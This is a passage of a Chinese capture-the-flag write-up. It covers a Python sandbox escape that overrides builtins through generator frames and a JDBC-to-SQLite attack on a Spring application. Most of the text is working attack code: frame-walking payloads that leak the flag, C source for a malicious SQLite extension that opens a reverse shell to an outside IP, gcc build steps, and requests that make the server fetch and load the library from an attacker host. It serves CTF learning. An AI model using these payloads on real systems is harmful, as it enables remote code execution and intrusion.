("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863" )):    print ("Correct!" ,end="" ) else :    print ("Wrong!" ,end="" ) 
通过我们的代码获取p,q。然后计算p、q是否等于int("69627....863")
可以看到这个很有讲究,用int()括住了这个大数。由于int采用的是globals里的int(),所以我们可以通过将int()覆盖成我们的一个函数让它通过
比如fake_int如下:
1 2 3 4 5 def  fake_int (i ):	if (len (i)> 100 ):         return  123123 *123123      else :         return  123123  
我们的code如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def  factorization (c ):    def  f ():         yield  g.gi_frame.f_back     g = f()     frame = [x for  x in  g][0 ]     builtin = frame.f_back.f_back.f_back.f_locals['_' +'_builtins' +'_' +'_' ]     length = builtin.len      def  my_fakeint (i ):         if  length(i) > 100 :             return  123123  * 123123          else :             return  123123      builtin.int  = my_fakeint     return  '1' , '2'  
返回的字符串1和2经过int判断长度小于100,返回了123123,而大数长度很大,返回的是123123*123123。导致p*q = 这个大数
 回到本题 由于这个题的flag存在于runner.py里,(main.py里将flag读取,然后把固定字符替换成了FLAG)
所以直接将payload这么写,注意由于双下划线被过滤了,记得改一下:
1 2 3 4 5 6 7 8 9 def  func ():    def  f ():         yield  g.gi_frame.f_back     g = f()      frame = [x for  x in  g][0 ]     builtin = frame.f_back.f_back.f_back.f_locals['_' +'_builtins_' +'_' ]     code = frame.f_back.f_back.f_back.f_code     print (code.co_consts) func() 
最后一步,因为它检测了输出有没有flag,如果有就会输出这 runtime什么的
所以我们不能够直接输出flag,而是得慢慢判断,因为返回的内容是一个小括号括住的(忘了叫set还是叫tuple了,总之可以通过下标获取)
所以可以通过这样的方式来逐步获取flag的位置:
1 print(code.co_consts[0:x]) 
假设第x个输出了runtime什么的,第x-1个正常,那flag就是[x]
这下就能确定flag在第12个位置。观察可以通过code.co_const[11:12]得到一个只含有flag的小括号
用code.co_const[11:12][0]取出,然后慢慢输出flag即可:
因为比赛结束环境开不了了,所以只能本地复现了
如果嫌麻烦可以拿到 builtins的str函数把这个tuple变成str:
补一张复现的图,因为ctfshow没有国赛那个界面,所以显得很简陋,手动补\n换行和空格缩进即可
payload:
1 { "code" : "def func():\n    def f():\n        yield g.gi_frame.f_back\n    g = f()\n    frame = [x for x in g][0]\n    builtin = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']\n    code = frame.f_back.f_back.f_back.f_code\n    str = builtin.str\n    print(code.co_consts[16:17][0][0:32])\nfunc()" } 
1 { "code" : "def func():\n    def f():\n        yield g.gi_frame.f_back\n    g = f()\n    frame = [x for x in g][0]\n    builtin = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']\n    code = frame.f_back.f_back.f_back.f_code\n    str = builtin.str\n    print(code.co_consts[16:17][0][32:])\nfunc()" } 
 ezjava 哈哈,没想到是jdbc打sqlite,失策了。死磕mysql的后果是目光呆滞
后续学习jdbc attack的时候再把这几个数据库的打法整理一下
jadx反编译jar得到几个点:
lib里基本上没有能打的链,log4j也是2.13版,甚至把jackson删了(至少打不了是真的 
包名就叫jdbcTest,所以肯定是打jdbc 
 
pom.xml如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 <?xml version="1.0"  encoding="UTF-8" ?> <project  xmlns ="http://maven.apache.org/POM/4.0.0"  xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"           xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd" >     <modelVersion > 4.0.0</modelVersion >      <groupId > com.example</groupId >      <artifactId > jdbcTest</artifactId >      <version > 0.0.1-SNAPSHOT</version >      <name > jdbcTest</name >      <description > jdbcTest</description >      <properties >          <java.version > 1.8</java.version >          <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding >          <project.reporting.outputEncoding > UTF-8</project.reporting.outputEncoding >          <spring-boot.version > 2.3.3.RELEASE</spring-boot.version >      </properties >      <dependencies >          <dependency >              <groupId > org.xerial</groupId >              <artifactId > sqlite-jdbc</artifactId >              <version > 3.8.9</version >          </dependency >          <dependency >              <groupId > org.springframework.boot</groupId >              <artifactId > spring-boot-starter-web</artifactId >          </dependency >          <dependency >              <groupId > com.clickhouse</groupId >              <artifactId > clickhouse-jdbc</artifactId >              <version > 0.3.2-patch11</version >          </dependency >          <dependency >              <groupId > org.junit.jupiter</groupId >              <artifactId > junit-jupiter-engine</artifactId >          </dependency >          <dependency >              <groupId > org.junit.jupiter</groupId >              <artifactId > junit-jupiter-params</artifactId >          </dependency >          <dependency >              <groupId > org.springframework.boot</groupId >              <artifactId > spring-boot-starter-test</artifactId >              <scope > test</scope >          </dependency >                   <dependency >              <groupId > mysql</groupId >              <artifactId > mysql-connector-java</artifactId >              <version > 8.0.13</version >          </dependency >                   <dependency >              <groupId > org.postgresql</groupId >              <artifactId > postgresql</artifactId >              <version > 42.7.2</version >          </dependency >          <dependency >              <groupId > com.amazon.redshift</groupId >              <artifactId > redshift-jdbc42</artifactId >              <version > 2.1.0.10</version >          </dependency >                            <dependency >              <groupId > org.aspectj</groupId >              <artifactId > aspectjweaver</artifactId >              <version > 1.9.5</version >              <scope > runtime</scope >          </dependency >          <dependency >              <groupId > org.springframework.boot</groupId >              <artifactId > spring-boot-starter-thymeleaf</artifactId >          </dependency >      </dependencies >      <dependencyManagement >          <dependencies >              <dependency >                  <groupId > org.springframework.boot</groupId >                  <artifactId > spring-boot-dependencies</artifactId >                  <version > ${spring-boot.version}</version >                  <type > pom</type >                  <scope > import</scope >              </dependency >          </dependencies >      </dependencyManagement >      <build >          <plugins >              <plugin >                  <groupId > org.apache.maven.plugins</groupId >                  <artifactId > maven-compiler-plugin</artifactId >                  <configuration >                      <source > 1.8</source >                      <target > 1.8</target >                      <encoding > UTF-8</encoding >                  </configuration >              </plugin >          <plugin >              <groupId > org.springframework.boot</groupId >              <artifactId > spring-boot-maven-plugin</artifactId >              <version > 2.0.3.RELEASE</version >              <executions >                  <execution >                      <goals >                          <goal > repackage</goal >                      </goals >                  </execution >              </executions >          </plugin >          </plugins >      </build >  </project > 
给了三个数据库,一个mysql,一个pgsql,一个sqlite
然后看controller
IndexController没什么好看的,主要看JdbcController,它传了一个jdbcBean对象进去,然后测试其连通性,其他的bean也没什么有意义的东西,定义了几个类的setter方法和getter方法,只有userBean里有readObject方法,但是jdbc很明显不是打这个userbean的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package  com.example.jdbctest.bean;import  java.io.IOException;import  java.io.ObjectInputStream;import  java.io.Serializable;import  java.util.Base64;import  java.util.HashMap;public  class  UserBean  implements  Serializable  {    private  String name;     private  String age;     private  Object obj;     public  UserBean (String name, String age)  {         this .name = name;         this .age = age;     }     public  UserBean ()  {     }     public  String getAge ()  {         return  this .age;     }     public  void  setAge (String age)  {         this .age = age;     }     public  Object getObj ()  {         return  this .obj;     }     public  void  setObj (Object obj)  {         this .obj = obj;     }     public  String getName ()  {         return  this .name;     }     public  void  setName (String name)  {         this .name = name;     }     private  void  readObject (ObjectInputStream ois)  throws  IOException, ClassNotFoundException {         ObjectInputStream.GetField  gf  =  ois.readFields();         HashMap<String, byte []> a = (HashMap) gf.get("obj" , (Object) null );         String  name  =  (String) gf.get("name" , (Object) null );         String  age  =  (String) gf.get("age" , (Object) null );         if  (a == null ) {             this .obj = null ;             return ;         }         try  {             a.put(name, Base64.getDecoder().decode(age));         } catch  (Exception var7) {             var7.printStackTrace();         }     } } 
点进this.datasourceServiceImpl.testDatasourceConnectionAble()里,发现了三个sql的测试连接方法:
先说结论,三个数据库我只测了mysql T_T,因为我只学了mysql的打法,然后测试的时候发现index页面会帮你传入这个jdbcBean了,就直接在post包里改url即可
这是当时测的,mysql能打,但是没有反应,jdbc确实连到我的fake_mysql服务器上了:
然后,然后就没有然后了。打不了反序列化
pgsql没测,这里放一下y4神写的exp:
JavaSec/9.JDBC Attack/PostGreSQL/index.md at main · Y4tacker/JavaSec · GitHub 
看了几眼,原理大概是
DriverManager.getConnection会导致在org.postgresql.util.ObjectFactory#instantiate可以初始化任意类,这里找到了org.springframework.context.support.ClassPathXmlApplicationContext,这个函数本来就是初始化spring配置的,这里可以解析远程xml配置文件实现RCE。似乎在这里也不行
sqlite其实很鸡肋,只能做ssrf,但是这是在普通的情况下。如果开启了允许加载拓展的话,就能够加载恶意so文件打rce了()
还是看看y4神的分析吧:
JavaSec/9.JDBC Attack/SQLite/index.md at main · Y4tacker/JavaSec · GitHub 
当sqllite建立连接是会调用org.sqlite.core.CoreConnection#open
这个时候进extractResource
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private  File extractResource (URL resourceAddr)  throws  IOException {        if  (resourceAddr.getProtocol().equals("file" )) {             try  {                 return  new  File (resourceAddr.toURI());             } catch  (URISyntaxException e) {                 throw  new  IOException (e.getMessage());             }         } else  {             File  dbFile  =  new  File (new  File (System.getProperty("java.io.tmpdir" )).getAbsolutePath(), String.format("sqlite-jdbc-tmp-%d.db" , Integer.valueOf(resourceAddr.hashCode())));             if  (dbFile.exists()) {                 if  (resourceAddr.openConnection().getLastModified() < dbFile.lastModified()) {                     return  dbFile;                 }                 if  (!dbFile.delete()) {                     throw  new  IOException ("failed to remove existing DB file: "  + dbFile.getAbsolutePath());                 }             }             byte [] buffer = new  byte [8192 ];             FileOutputStream  writer  =  new  FileOutputStream (dbFile);             InputStream  reader  =  resourceAddr.openStream();             while  (true ) {                 try  {                     int  bytesRead  =  reader.read(buffer);                     if  (bytesRead == -1 ) {                         return  dbFile;                     }                     writer.write(buffer, 0 , bytesRead);                 } finally  {                     writer.close();                     reader.close();                 }             }         }     } 
简单看看这个流程,能够通过访问这个resourceAddr,然后能够将文件写进定义好的java.io.tmpdir目录,文件名叫sqlite-jdbc-tmp-xxx.db,xxx是resourceAddr的hash值,我们可以通过本地调试测出这个hash值
这里的结果只和后面的exp.so有关系,这里改成
所以说它会把文件缓存进/tmp,但是如果没有允许加载拓展的话,就只能做到这种地步了
回到这里,看看SqliteDatasourceConnector:
1 2 3 4 5 6 7 8 9 public  SqliteDatasourceConnector (String url)  throws  ClassNotFoundException, SQLException {    Class.forName("org.sqlite.JDBC" );     SQLiteConfig  config  =  new  SQLiteConfig ();     config.enableLoadExtension(true );     this .connection = DriverManager.getConnection(url, config.toProperties());     this .connection.setAutoCommit(true ); } 
可以看到他这里允许加载extension,此时就可以利用 "CREATE VIEW "将不可控的SELECT语句转换为可控。
如果我们能够控制SELECT语句,我们可以使用SELECT load_extension('/tmp/test.so')来加载dll/so并执行恶意代码,注意前面源码写入so的时候已经被重命名成jdbc-sqlite-tmp-xxx.db了,所以这个时候要变成SELECT load_extension('/tmp/test.so')
这里看以下su18师傅的攻击示例 :
可以看到还需要读一次表,而这个DataSourceConnector里面就有这个操作,而我们只需要写好表名即可
 payload怎么写的 Jdbc碎碎念三:内存数据库 | m0d9’s blog 
参考它可以先写一个恶意的so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include  <sqlite3ext.h>   #include  <stdio.h>  #include  <unistd.h>  #include  <sys/types.h>  #include  <sys/socket.h>  #include  <arpa/inet.h>  #include  <signal.h>  #include  <dirent.h>  #include  <sys/stat.h>  SQLITE_EXTENSION_INIT1 int  tcp_port = 7777 ;char  *ip = "10.10.10.10" ;#ifdef  _WIN32 __declspec(dllexport) #endif  int  sqlite3_extension_init (   sqlite3 *db,    char  **pzErrMsg,    const  sqlite3_api_routines *pApi ) {  int  rc = SQLITE_OK;   SQLITE_EXTENSION_INIT2(pApi);      int  fd;   if  ( fork() <= 0 ){     struct  sockaddr_in  addr ;     addr.sin_family = AF_INET;     addr.sin_port = htons(tcp_port);     addr.sin_addr.s_addr = inet_addr(ip);     fd = socket(AF_INET, SOCK_STREAM, 0 );     if  ( connect(fd, (struct  sockaddr*)&addr, sizeof (addr)) ){             exit (0 );     }     dup2(fd, 0 );     dup2(fd, 1 );     dup2(fd, 2 );     execve("/bin/bash" , 0LL , 0LL ); }      return  rc; } 
先安装sqlite环境:
1 sudo apt install libsqlite3-dev 
gcc编译成so:
1 gcc -g -shared -fPIC exp.c -o exp.so 
写完so以后打一次请求:
1 {"type":3, "url":"jdbc:sqlite::resource:http://ip:port/exp.so"} 
本地跑一下这个jdbc:sqlite::resource:http://ip:port/exp.so计算出hashCode,记住他重命名为了sqlite-jdbc-tmp-xxx.db
su18师傅有现成的poc.db,下下来用就行了,表名就是security,把里面的内容改一改。这里可以用navicat改,也貌似可以用010Editor改
第二次请求打poc.db,记得添加tableName:
1 {"type":3, "url":"jdbc:sqlite::resource:http://ip:port/poc.db", "tableName":"security"} 
监听反弹的port,等shell弹过来即可,比如我这里通过debug测得文件名为:sqlite-jdbc-tmp--741179700.db
此时请求如下:
shell就弹过来了:
可惜线上没做出来,只能复现了
 补充注意点 如上图,写入exp.so的时候不要写tableName,否则会因为根本没有写入表导致SQL Exception,然后直接没有写入so